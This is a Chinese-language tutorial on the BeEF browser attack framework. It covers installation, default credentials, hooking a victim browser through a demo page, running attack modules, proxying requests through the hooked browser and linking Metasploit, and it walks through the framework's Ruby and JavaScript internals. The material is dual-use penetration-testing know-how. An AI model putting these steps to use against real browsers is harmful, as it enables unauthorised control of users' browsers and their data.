淺談基于瀏覽器的攻擊框架BeEF
一、BeEF簡(jiǎn)介
BeEF是瀏覽器攻擊框架的簡(jiǎn)稱(chēng),是一款專(zhuān)注于瀏覽器端的滲透測(cè)試工具。可在其官網(wǎng)找到更詳細(xì)的介紹http://beefproject.com/。
二、安裝BeEF
先下載Beef最新版本
$ svn checkout http://beef.googlecode.com/svn/track/ beef
$ ruby install
選擇第一項(xiàng)自動(dòng)安裝需要的相關(guān)gems即可,也可以選擇2按照提示一個(gè)一個(gè)進(jìn)行安裝,安裝完成后就可以直接啟動(dòng)了
$ ruby beef -x
三、使用說(shuō)明
3.1 啟動(dòng)BeEF
安裝完成后,啟動(dòng)BeEF
#./beef

命令行中顯示的UI URL以后即為WEB接口,用瀏覽器打開(kāi),輸入默認(rèn)密碼beef/beef,即可進(jìn)入BeEF管理頁(yè)面
按照提示,假設(shè)此時(shí)目標(biāo)192.168.11.1的服務(wù)器訪問(wèn)了這個(gè)demo頁(yè)面
http://192.168.11.152:3000/demos/basic.html。則就被hook上了,如下圖所示

3.2 實(shí)施攻擊
HOOK持續(xù)的時(shí)間為關(guān)閉測(cè)試頁(yè)面為止。在此期間,相當(dāng)于被控制了,可以發(fā)送攻擊命令了。選擇commands欄,可以看到很多已經(jīng)分好類(lèi)的攻擊模塊。
其中,4種顏色分別表示:
該攻擊模塊可用,且隱蔽性強(qiáng)
該攻擊模塊可用,但隱蔽性查
該用戶(hù)模塊是否可用還有待驗(yàn)證
該攻擊模塊不可用

例如,選取MISC下的Raw JavaScript模塊作為測(cè)試用例,右端表格有該模塊的詳細(xì)說(shuō)明,以及一些可選的參數(shù)等。輸入Javascript code,點(diǎn)擊Excute進(jìn)行攻擊,效果如下圖所示

3.3 Proxy功能
選中目標(biāo)主機(jī),點(diǎn)右鍵,在菜單中選中Use as Proxy

然后再Rider選項(xiàng)卡中的Forge Request 編輯并發(fā)送想要發(fā)送的內(nèi)容

通過(guò)查看目標(biāo)瀏覽器firebug記錄,可以確信確實(shí)發(fā)送了該http,達(dá)到了代理效果。同時(shí)Rider下的History選項(xiàng)也記錄了發(fā)送歷史記錄

#p#
四、Metasploit組合
由于BeEF默認(rèn)是不加載metasploit的,要使用Metasploit豐富的攻擊模塊,需要做些配置。BT5下,首先到beef目錄下修改/pentest/web/beef/config.yaml文件,將其中的metasploit選項(xiàng)改為enable,如下所示:

然后查看/pentest/web/beef/extensions/metasploit/config.yaml。查看到其中的pass默認(rèn)為abc123,這是與metasploit通信約定的密碼。轉(zhuǎn)到msf目錄 /opt/metasploit/msf3/。新建一個(gè) beef.rc文件,內(nèi)容為
load msgrpc ServerHost=127.0.0.1 Pass=abc123
從而實(shí)現(xiàn)與beef的通信。啟動(dòng)msfconsole,
#msfconsole –r beef.rc,如下圖所示,順利啟動(dòng)服務(wù)。

現(xiàn)在可以啟動(dòng)beef了,啟動(dòng)后,可以看到BEEF加載了204個(gè)metasploit的攻擊模塊

頁(yè)面如圖,現(xiàn)在可以使用metasploit的模塊進(jìn)行攻擊了。

#p#
五、實(shí)現(xiàn)原理
5.1 簡(jiǎn)述
BEEF 采用ruby語(yǔ)言編寫(xiě),其目錄結(jié)構(gòu)如下所示:

除去一些安裝和說(shuō)明文件,Beef最主要的目錄有三個(gè),core、extension和modules。BEEF的核心文件在core目錄下,各種擴(kuò)展功能在extension目錄下,modules則為攻擊模塊目錄。
5.2 Core
Core目錄是BEEF的核心目錄,并負(fù)責(zé)加載extension和module。其中最關(guān)鍵的文件位于core\main目錄下,其文件結(jié)構(gòu)如下所示:

Client目錄下均為js文件,是在受控客戶(hù)端(hooked browser)使用的js文件,包括net、browser、encode、os等的實(shí)現(xiàn),以u(píng)pdate.js為例,在core\main\client\update.js中可以看到,定義了beef.updater,設(shè)置每隔5秒check一次是否有新的命令,如果有,則獲取并執(zhí)行之。
Console目錄用于命令行控制
Constants目錄定義了各種常量
Handlers目錄主要用于處理來(lái)自受控客戶(hù)端連接請(qǐng)求。
Models 定義了一些基本的類(lèi)
Rest目錄:即WEB服務(wù)基于REST原則,是一種輕量級(jí)的HTTP實(shí)現(xiàn)。 在server.rb中可看到,是通過(guò)mount的形式將資源與URL相對(duì)應(yīng),即它不是一個(gè)簡(jiǎn)單的WEB目錄服務(wù),任何需要http服務(wù)的資源,都需要先mount才能使用。
def mount(url, http_handler_class, args = nil)
# argument type checking
raise Exception::TypeError, ‘”url” needs to be a string’ if not url.string?
if args == nil
mounts[url] = http_handler_class
else
mounts[url] = http_handler_class, *args
end
print_debug(“Server: mounted handler ‘#{url}’”)
end
………
self.mount(“/init”, BeEF::Core::Handlers::BrowserDetails)
………
# Rack mount points
@rack_app = Rack::URLMap.new(@mounts)
………
# Create the BeEF http server
@http_server = Thin::Server.new(
@configuration.get(‘beef.http.host’),
@configuration.get(‘beef.http.port’),
@rack_app)
5.3 extensions
Extention目錄下為各種擴(kuò)展應(yīng)用

其中幾個(gè)extension的作用如下:
Admin_ui: 實(shí)現(xiàn)了一個(gè)WEB界面的控制后臺(tái)。
Metasploit: 與metasploit互通相關(guān)的設(shè)置。
Requester: 負(fù)責(zé)處理HTTP請(qǐng)求,其文件如下所示:

其中:
Extension.rb 是每個(gè)擴(kuò)展必有的文件,是加載該擴(kuò)展的接口文件。
Config.yaml為作者和該擴(kuò)展相關(guān)信息。
Api.rb為自身注冊(cè)的一些API函數(shù)。
Models定義了一個(gè)http模型對(duì)象,例如,其中有個(gè)has_run屬性,當(dāng)請(qǐng)求未發(fā)送時(shí),其值為”waiting”,發(fā)送攻擊時(shí),遍歷狀態(tài)為”waiting”的模塊,并發(fā)送http請(qǐng)求。
Handler.rb 主要是處理http響應(yīng),收到響應(yīng)后將相應(yīng)的模塊has_run狀態(tài)置為complete,并保存到數(shù)據(jù)庫(kù)。
5.4 modules
Modules集合了BEEF的各個(gè)攻擊模塊,一般一個(gè)攻擊模塊分為3個(gè)文件:command.js、config.yaml、module.rb。這樣的結(jié)構(gòu)可以很方便地進(jìn)行模塊添加,易于擴(kuò)展。
Config.yaml: 攻擊模塊相關(guān)信息,如名稱(chēng)、描述、分類(lèi)、作者、適用場(chǎng)景等
Module.rb:文件定義了該攻擊模塊的類(lèi),繼承了BEFF::Core::Command類(lèi),在通用command類(lèi)的基礎(chǔ)上定義一些該模塊特有的處理函數(shù),如使用較多的一個(gè)函數(shù)是post_execute,即攻擊進(jìn)行后進(jìn)行的操作(一般為保存結(jié)果),如下所示。
class Browser_fingerprinting < BeEF::Core::Command
def post_execute
content = {}
content['browser_type'] = @datastore['browser_type'] if not @datastore['browser_type'].nil?
content['browser_version'] = @datastore['browser_version'] if not @datastore['browser_version'].nil?
if content.empty?
content['fail'] = ‘Failed to fingerprint browser.’
end
save content
end
end
Command.js: 即為攻擊代碼,攻擊時(shí)讀取此js并發(fā)送給受控客戶(hù)端。以detect_firebug模塊的command.js為例,代碼如下所示:
beef.execute(function() {
var result = “Not in use or not installed”;
if (window.console && (window.console.firebug || window.console.exception)) result = “Enabled and in use!”;
beef.net.send(“”, , “firebug=”+result);
});
代碼很簡(jiǎn)單,在受控客戶(hù)端執(zhí)行取得結(jié)果之后,將結(jié)果返回給server端。Beef.net在core/main/client目錄下定義。
在 Core目錄下的Command.rb中,可以看到加載過(guò)程,首先判斷該攻擊模塊的command.js是否存在,如存在,就讀取到@eruby,可能還需要進(jìn)行參數(shù)替換,所以需要進(jìn)行evaluate操作。
def output
f = @path+’command.js’
(print_error “#{f} file does not exist”;return) if not File.exists? f
command = BeEF::Core::Models::Command.first(:id => @command_id)
@eruby = Erubis::FastEruby.new(File.read(f))
data = BeEF::Core::Configuration.instance.get(“beef.module.#{@key}”)
cc = BeEF::Core::CommandContext.new
cc['command_url'] = @default_command_url
cc['command_id'] = @command_id
JSON.parse(command['data']).each{|v|
cc[v['name']] = v['value']
}
if self.respond_to?(:execute)
self.execute
end
@output = @eruby.evaluate(cc)
@output
end